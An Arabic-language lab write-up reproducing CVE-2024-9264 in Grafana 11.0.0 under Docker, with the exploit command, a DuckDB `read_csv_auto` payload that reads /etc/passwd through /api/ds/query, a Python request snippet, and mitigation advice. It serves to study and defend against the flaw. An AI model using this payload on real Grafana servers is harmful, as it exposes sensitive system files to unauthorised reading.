
استغلال PoC لـ CVE-2024-9264: ثغرة تعبير SQL في Grafana تتيح تضمين الملفات المحلية وتنفيذ الكود عن بُعد عبر حقن SQL في DuckDB. يتضمن إعداد مختبر Docker وسكريبت استغلال بايثون.
المراجع https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| العنصر | المحتوى |
|---|---|
| CVE | CVE-2024-9264 |
| الهدف | Grafana (SQL Expressions) |
| التأثير | Local File Inclusion(LFI), Remote Code Execution(RCE) |
| الخطورة | Critical (CVSS 9.9) |
| شروط الهجوم | مستخدم موثوق (صلاحيات المسؤول) |
| طريقة الهجوم | استغلال ميزة SQL Expressions لتنفيذ DuckDB SQL |
Grafana هي أداة مراقبة مفتوحة المصدر تعمل على تصور البيانات المختلفة مثل الخوادم والتطبيقات وقواعد البيانات في شكل رسوم بيانية ولوحات تحكم سهلة القراءة في لمحة واحدة.
CVE-2024-9264 هي ثغرة تنشأ في ميزة SQL Expressions في Grafana.
بسبب عدم التحقق بشكل صحيح من DuckDB SQL المستخدم داخليًا في Grafana، يمكن للمهاجم تنفيذ أي DuckDB SQL من خلال SQL Expression.
باستخدام ذلك، يمكن:
وغيرها.
في هذه التجربة العملية، تم تشغيل Grafana 11.0.0 في بيئة Docker ثم إعادة إنتاج الثغرة باستخدام PoC عن طريق قراءة ملف /etc/passwd.
| المكون | المحتوى |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
التحقق من تشغيل Grafana
http://localhost:3000

معلومات الحساب الافتراضية لـ Grafana هي كما يلي:
ID : admin
PW : admin
لكي تحدث الثغرة، يجب توفر الشروط التالية:
في هذه التجربة، تم استخدام حساب المسؤول الافتراضي (admin/admin).
تشغيل PoC
لقراءة ملف محلي، تم تنفيذ الأمر التالي:
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
يقوم PoC بإنشاء SQL Expression التالية:
SELECT * FROM read_csv_auto('/etc/passwd')
ثم يتم إرسالها إلى API /api/ds/query في Grafana.
قام Grafana بتنفيذ SQL كما هو وأعاد محتوى /etc/passwd كاستجابة.

يمكن أيضًا قراءة ملفات أخرى غير /etc/passwd.

من خلال ذلك، تم التأكد من نجاح تضمين الملف المحلي (Local File Inclusion).
تم كتابة PoC بلغة Python ويقوم بالخطوات التالية:
/api/ds/query)SQL الذي يتم إنشاؤه عند قراءة ملف هو كما يلي:
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
يتم إرسال طلب API كما يلي:
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
يمكن أيضًا التحقق من ذلك باستخدام أمر curl.

أكثر طريقة فعالة هي التحديث إلى أحدث إصدار تم فيه إصلاح الثغرة.
تعطيل ميزة SQL Expressions غير الضرورية أو تطبيق مبدأ الحد الأدنى من الصلاحيات لتقييد نطاق الاستخدام.
بعد إنشاء Grafana 11.0.0 في بيئة Docker، تم إعادة إنتاج ثغرة CVE-2024-9264.
باستخدام PoC المكتوب بلغة Python، تم استغلال ميزة SQL Expression وقراءة ملف /etc/passwd بنجاح.
من خلال ذلك، تم التأكد من أنه في حالة عدم كفاية التحقق من الإدخال لـ SQL Expression، يمكن أن تتعرض الملفات الحساسة للكشف، وفي بعض البيئات قد يؤدي ذلك إلى تنفيذ كود عن بعد. يمكن منع هذه الثغرة من خلال تدابير أمنية مثل التحديث إلى أحدث إصدار، تقييد ميزة SQL Expressions، وحماية حسابات المسؤول.